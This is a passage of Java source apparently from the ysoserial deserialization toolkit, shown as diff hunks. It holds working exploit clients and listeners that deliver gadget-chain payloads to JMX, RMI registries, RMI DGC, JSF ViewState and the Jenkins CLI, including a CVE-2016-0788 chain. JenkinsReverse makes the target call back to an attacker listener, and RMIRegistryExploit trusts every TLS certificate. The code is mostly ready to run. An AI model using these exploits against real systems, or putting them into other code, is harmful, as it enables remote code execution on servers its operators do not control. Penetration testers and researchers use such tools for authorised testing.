System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
return;
}
}
}
}
}
private static final class ConsoleLogHandler extends Handler {
@Override
public void publish ( LogRecord record ) {
System.err.println(record.getMessage());
}
@Override
public void flush () {
}
@Override
public void close () throws SecurityException {}
}
@SuppressWarnings({"deprecation"})
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
private ConnectionProviderContextImpl context;
public ConnectionHandlerContextImpl ( ConnectionProviderContextImpl context ) {
this.context = context;
}
public void remoteClosed () {}
public OpenListener getServiceOpenListener ( String serviceType ) {
return null;
}
public RegisteredService getRegisteredService ( String serviceType ) {
return null;
}
public ConnectionProviderContext getConnectionProviderContext () {
return this.context;
}
public Connection getConnection () {
return null;
}
}
private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
private XnioWorker worker;
private ExecutorService executor;
private Xnio instance;
private Endpoint endpoint;
public ConnectionProviderContextImpl ( OptionMap opts, String endpointName ) throws IllegalArgumentException, IOException {
this.instance = Xnio.getInstance();
this.worker = this.instance.createWorker(opts);
this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
this.executor = Executors.newCachedThreadPool(new ThreadFactory() {
public Thread newThread ( Runnable r ) {
Thread t = new Thread(r, "Worker");
t.setDaemon(true);
return t;
}
});
}
public XnioWorker getXnioWorker () {
return this.worker;
}
public Xnio getXnio () {
return this.instance;
}
public Executor getExecutor () {
return this.executor;
}
public Endpoint getEndpoint () {
return this.endpoint;
}
public void accept ( ConnectionHandlerFactory connectionHandlerFactory ) {
System.err.println("accept");
}
}
}
@@ -0,0 +1,39 @@
package ysoserial.exploit;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import ysoserial.payloads.ObjectPayload.Utils;
/*
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
*
*/
public class JMXInvokeMBean {
public static void main(String[] args) throws Exception {
if ( args.length < 4 ) {
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.exit(-1);
}
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
// create the payload
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
//close the connection
jmxConnector.close();
}
}
@@ -0,0 +1,50 @@
package ysoserial.exploit;
import java.net.URL;
/**
* JRMP listener triggering RMI remote classloading
*
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
*
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
* access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}.
*
* This only works if
* - the remote end is running with a security manager
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
*
* and, of course, the payload class is then run under the security manager with a remote codebase
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
* with a security manager bypass exploit (wouldn't be the first time).
*
* @author mbechler
*
*/
public class JRMPClassLoadingListener {
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
System.exit(-1);
return;
}
try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
}
@@ -0,0 +1,141 @@
package ysoserial.exploit;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.UnknownHostException;
import javax.net.SocketFactory;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;
/**
* Generic JRMP client
*
* Pretty much the same thing as {@link RMIRegistryExploit} but
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
* - not deserializing anything (so you don't get yourself exploited ;))
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class JRMPClient {
public static final void main ( final String[] args ) {
if ( args.length < 4 ) {
System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.exit(-1);
}
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
String hostname = args[ 0 ];
int port = Integer.parseInt(args[ 1 ]);
try {
System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
makeDGCCall(hostname, port, payloadObject);
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
Utils.releasePayload(args[2], payloadObject);
}
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L);
objOut.writeObject(payloadObject);
os.flush();
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
}
static final class MarshalOutputStream extends ObjectOutputStream {
private URL sendUrl;
public MarshalOutputStream (OutputStream out, URL u) throws IOException {
super(out);
this.sendUrl = u;
}
MarshalOutputStream ( OutputStream out ) throws IOException {
super(out);
}
@Override
protected void annotateClass ( Class<?> cl ) throws IOException {
if ( this.sendUrl != null ) {
writeObject(this.sendUrl.toString());
} else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
writeObject(null);
}
else {
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
String cb = "";
for ( URL u : us ) {
cb += u.toString();
}
writeObject(cb);
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass ( Class<?> cl ) throws IOException {
annotateClass(cl);
}
}
}
@@ -0,0 +1,317 @@
package ysoserial.exploit;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.io.Serializable;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Reflections;
/**
* Generic JRMP listener
*
* Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call.
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class JRMPListener implements Runnable {
private int port;
private Object payloadObject;
private ServerSocket ss;
private Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private URL classpathUrl;
public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
this.port = port;
this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public JRMPListener (int port, String className, URL classpathUrl) throws IOException {
this.port = port;
this.payloadObject = makeDummyObject(className);
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public boolean waitFor ( int i ) {
try {
if ( this.hadConnection ) {
return true;
}
System.err.println("Waiting for connection");
synchronized ( this.waitLock ) {
this.waitLock.wait(i);
}
return this.hadConnection;
}
catch ( InterruptedException e ) {
return false;
}
}
/**
*
*/
public void close () {
this.exit = true;
try {
this.ss.close();
}
catch ( IOException e ) {}
synchronized ( this.waitLock ) {
this.waitLock.notify();
}
}
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
System.exit(-1);
return;
}
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
Utils.releasePayload(args[1], payloadObject);
}
public void run () {
try {
Socket s = null;
try {
while ( !this.exit && ( s = this.ss.accept() ) != null ) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper)
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt();
short version = in.readShort();
if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
s.close();
continue;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);
byte protocol = in.readByte();
switch ( protocol ) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if ( remote.getHostName() != null ) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out, this.payloadObject);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}
bufOut.flush();
out.flush();
}
catch ( InterruptedException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
finally {
System.err.println("Closing connection");
s.close();
}
}
}
finally {
if ( s != null ) {
s.close();
}
if ( this.ss != null ) {
this.ss.close();
}
}
}
catch ( SocketException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
}
private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
System.err.println("Reading message...");
int op = in.read();
switch ( op ) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out, payload);
break;
case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;
case TransportConstants.DGCAck:
UID u = UID.read(in);
break;
default:
throw new IOException("unknown transport op " + op);
}
s.close();
}
private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
@Override
protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ( "java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
}
throw new IOException("Not allowed to read object");
}
};
ObjID read;
try {
read = ObjID.read(ois);
}
catch ( java.io.IOException e ) {
throw new MarshalException("unable to read objID", e);
}
if ( read.hashCode() == 2 ) {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
}
System.err.println("Sending return with payload for obj " + read);
out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val", payload);
oos.writeObject(ex);
oos.flush();
out.flush();
this.hadConnection = true;
synchronized ( this.waitLock ) {
this.waitLock.notifyAll();
}
}
@SuppressWarnings({"deprecation"})
protected static Object makeDummyObject (String className) {
try {
ClassLoader isolation = new ClassLoader() {};
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className);
return clazz.toClass(isolation).newInstance();
}
catch ( Exception e ) {
e.printStackTrace();
return new byte[0];
}
}
public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;
}
}
+80
View File
@@ -0,0 +1,80 @@
package ysoserial.exploit;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import org.apache.commons.codec.binary.Base64;
import ysoserial.payloads.ObjectPayload.Utils;
/**
* JSF view state exploit
*
* Delivers a gadget payload via JSF ViewState token.
*
* This will only work if ViewState encryption/mac is disabled.
*
* While it has been long known that client side state saving
* with encryption disabled leads to RCE via EL injection,
* this of course also works with deserialization gadgets.
*
* Also, it turns out that MyFaces is vulnerable to this even when
* using server-side state saving
* (yes, please, let's (de-)serialize a String as an Object).
*
* @author mbechler
*
*/
public class JSF {
public static void main ( String[] args ) {
if ( args.length < 3 ) {
System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
System.exit(-1);
}
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
try {
URL u = new URL(args[ 0 ]);
URLConnection c = u.openConnection();
if ( ! ( c instanceof HttpURLConnection ) ) {
throw new IllegalArgumentException("Not a HTTP url");
}
HttpURLConnection hc = (HttpURLConnection) c;
hc.setDoOutput(true);
hc.setRequestMethod("POST");
hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
OutputStream os = hc.getOutputStream();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(payloadObject);
oos.close();
byte[] data = bos.toByteArray();
String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
os.write(requestBody.getBytes("US-ASCII"));
os.close();
System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
Utils.releasePayload(args[1], payloadObject);
}
}
@@ -0,0 +1,125 @@
package ysoserial.exploit;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;
import javax.net.SocketFactory;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.Channel.Mode;
import hudson.remoting.ChannelBuilder;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Reflections;
/**
* Jenkins CLI client
*
* Jenkins unfortunately is still using a custom serialization based
* protocol for remote communications only protected by a blacklisting
* application level filter.
*
* This is a generic client delivering a gadget chain payload via that protocol.
*
* @author mbechler
*
*/
public class JenkinsCLI {
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <payload_type> <payload_arg>");
System.exit(-1);
}
final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);
String jenkinsUrl = args[ 0 ];
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
c.call(getPropertyCallable(payloadObject));
}
catch ( Throwable e ) {
e.printStackTrace();
}
finally {
if ( c != null ) {
try {
c.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
}
Utils.releasePayload(args[1], payloadObject);
}
public static Callable<?, ?> getPropertyCallable ( final Object prop )
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons);
Object getJarLoader = reqCons
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {
prop
});
return (Callable<?, ?>) getJarLoader;
}
public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException {
URL u = new URL(jenkinsUrl);
URLConnection conn = u.openConnection();
if ( ! ( conn instanceof HttpURLConnection ) ) {
System.err.println("Not a HTTP URL");
throw new MalformedURLException();
}
HttpURLConnection hc = (HttpURLConnection) conn;
if ( hc.getResponseCode() >= 400 ) {
System.err.println("* Error connection to jenkins HTTP " + u);
}
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
return new InetSocketAddress(u.getHost(), clip);
}
public static Channel openChannel ( InetSocketAddress isa ) throws IOException, SocketException {
System.err.println("* Opening socket " + isa);
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
System.err.println("* Opening channel");
OutputStream outputStream = s.getOutputStream();
DataOutputStream dos = new DataOutputStream(outputStream);
dos.writeUTF("Protocol:CLI-connect");
ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {
public Thread newThread ( Runnable r ) {
Thread t = new Thread(r, "Channel");
t.setDaemon(true);
return t;
}
});
Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
System.err.println("* Channel open");
return c;
}
}
@@ -0,0 +1,215 @@
package ysoserial.exploit;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.rmi.activation.ActivationDesc;
import java.rmi.activation.ActivationID;
import java.rmi.activation.ActivationInstantiator;
import javax.net.SocketFactory;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.JarLoader;
import sun.rmi.server.Util;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.JRMPListener;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Reflections;
/**
* CVE-2016-0788 exploit (1)
*
* 1. delivers a ysoserial.payloads.JRMPListener payload to jenkins via it's remoting protocol.
* 2. that payload causes the remote server to open up an JRMP listener (and export an object).
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
*
* Extra twist:
* The well-known objects exported by the listener use the system classloader which usually
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
* (which is using jenkins' classloader) that typically is properly randomized.
* Fortunately - for the exploiting party - there is also a gadget that allows to leak
* that identifier via an exception.
*
* @author mbechler
*/
@SuppressWarnings ( {
"rawtypes", "restriction"
} )
public class JenkinsListener {
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <payload_type> <payload_arg>");
System.exit(-1);
}
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(args[ 1 ]);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
System.err.println("Invalid payload type '" + args[ 1 ] + "'");
System.exit(-1);
}
String jenkinsUrl = args[ 0 ];
int jrmpPort = 12345;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
InvocationHandler remote = Proxy.getInvocationHandler(call);
int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
System.err.println("* JarLoader oid is " + oid);
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
try {
c.call((Callable<?, ?>) o);
}
catch ( Exception e ) {
// [ActivationGroupImpl[UnicastServerRef [liveRef:
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
// -9046794842107247609]]
System.err.println(e.getMessage());
parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e);
}
}
catch ( Throwable e ) {
e.printStackTrace();
}
finally {
if ( c != null ) {
try {
c.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
}
}
private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class<?> reqClass )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons);
return reqCons
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
uro,
});
}
private static void parseObjIdAndExploit ( final String[] args, final Class<? extends ObjectPayload> payloadClass, int jrmpPort,
InetSocketAddress isa, Exception e ) throws Exception, IOException {
String msg = e.getMessage();
int start = msg.indexOf("objID:[");
if ( start < 0 ) {
throw new Exception("Failed to get object id");
}
int sep = msg.indexOf(", ", start + 1);
if ( sep < 0 ) {
throw new Exception("Failed to get object id, separator");
}
int end = msg.indexOf("]", sep + 1);
if ( end < 0 ) {
throw new Exception("Failed to get object id, separator");
}
String uid = msg.substring(start + 7, sep);
String objNum = msg.substring(sep + 2, end);
System.err.println("* UID is " + uid);
System.err.println("* ObjNum is " + objNum);
String[] parts = uid.split(":");
long obj = Long.parseLong(objNum);
int o1 = Integer.parseInt(parts[ 0 ], 16);
long o2 = Long.parseLong(parts[ 1 ], 16);
short o3 = Short.parseShort(parts[ 2 ], 16);
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, payloadClass, args[ 2 ]);
}
private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class<?> payloadClass, String payloadArg )
throws IOException {
Socket s = null;
DataOutputStream dos = null;
try {
System.err.println("* Opening JRMP socket " + isa);
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
objOut.writeLong(obj);
objOut.writeInt(o1);
objOut.writeLong(o2);
objOut.writeShort(o3);
objOut.writeInt(-1);
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance();
final Object object = payload.getObject(payloadArg);
objOut.writeObject(object);
os.flush();
ObjectPayload.Utils.releasePayload(payload, object);
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
}
}
@@ -0,0 +1,80 @@
package ysoserial.exploit;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.rmi.registry.Registry;
import java.util.Random;
import hudson.remoting.Channel;
import ysoserial.exploit.JRMPListener;
import ysoserial.payloads.JRMPClient;
import ysoserial.payloads.ObjectPayload.Utils;
/**
* CVE-2016-0788 exploit (2)
*
* - Sets up a local {@link JRMPListener}
* - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol
* that will cause the remote to open a JRMP connection to our listener
* - upon connection the specified payload will be delivered to the remote
* (that will deserialize using a default ObjectInputStream)
*
* @author mbechler
*
*/
public class JenkinsReverse {
public static final void main ( final String[] args ) {
if ( args.length < 4 ) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <payload_type> <payload_arg>");
System.exit(-1);
}
final Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
String myAddr = args[ 1 ];
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
String jenkinsUrl = args[ 0 ];
Thread t = null;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
t = new Thread(listener, "ReverseDGC");
t.setDaemon(true);
t.start();
Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort);
c.call(JenkinsCLI.getPropertyCallable(payload));
listener.waitFor(1000);
listener.close();
}
catch ( Throwable e ) {
e.printStackTrace();
}
finally {
if ( c != null ) {
try {
c.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
if ( t != null ) {
t.interrupt();
try {
t.join();
}
catch ( InterruptedException e ) {
e.printStackTrace(System.err);
}
}
}
Utils.releasePayload(args[2], payloadObject);
}
}
@@ -0,0 +1,85 @@
package ysoserial.exploit;
import java.io.IOException;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.concurrent.Callable;
import javax.net.ssl.*;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Gadgets;
import ysoserial.secmgr.ExecCheckingSecurityManager;
/*
* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader.
* Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces.
*
* TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote
* interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler .
*/
@SuppressWarnings({"rawtypes", "unchecked"})
public class RMIRegistryExploit {
private static class TrustAllSSL implements X509TrustManager {
private static final X509Certificate[] ANY_CA = {};
public X509Certificate[] getAcceptedIssuers() { return ANY_CA; }
public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
}
private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
public Socket createSocket(String host, int port) throws IOException {
try {
SSLContext ctx = SSLContext.getInstance("TLS");
ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);
SSLSocketFactory factory = ctx.getSocketFactory();
return factory.createSocket(host, port);
} catch(Exception e) {
throw new IOException(e);
}
}
}
public static void main(final String[] args) throws Exception {
final String host = args[0];
final int port = Integer.parseInt(args[1]);
final String command = args[3];
Registry registry = LocateRegistry.getRegistry(host, port);
final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
// test RMI registry connection and upgrade to SSL connection on fail
try {
registry.list();
} catch(ConnectIOException ex) {
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
}
// ensure payload doesn't detonate during construction or deserialization
exploit(registry, payloadClass, command);
}
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}});
}
}
@@ -0,0 +1,107 @@
package ysoserial.payloads;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/*
Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
Usage:
args = "<filename>;<base64 content>"
Example:
java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
More information:
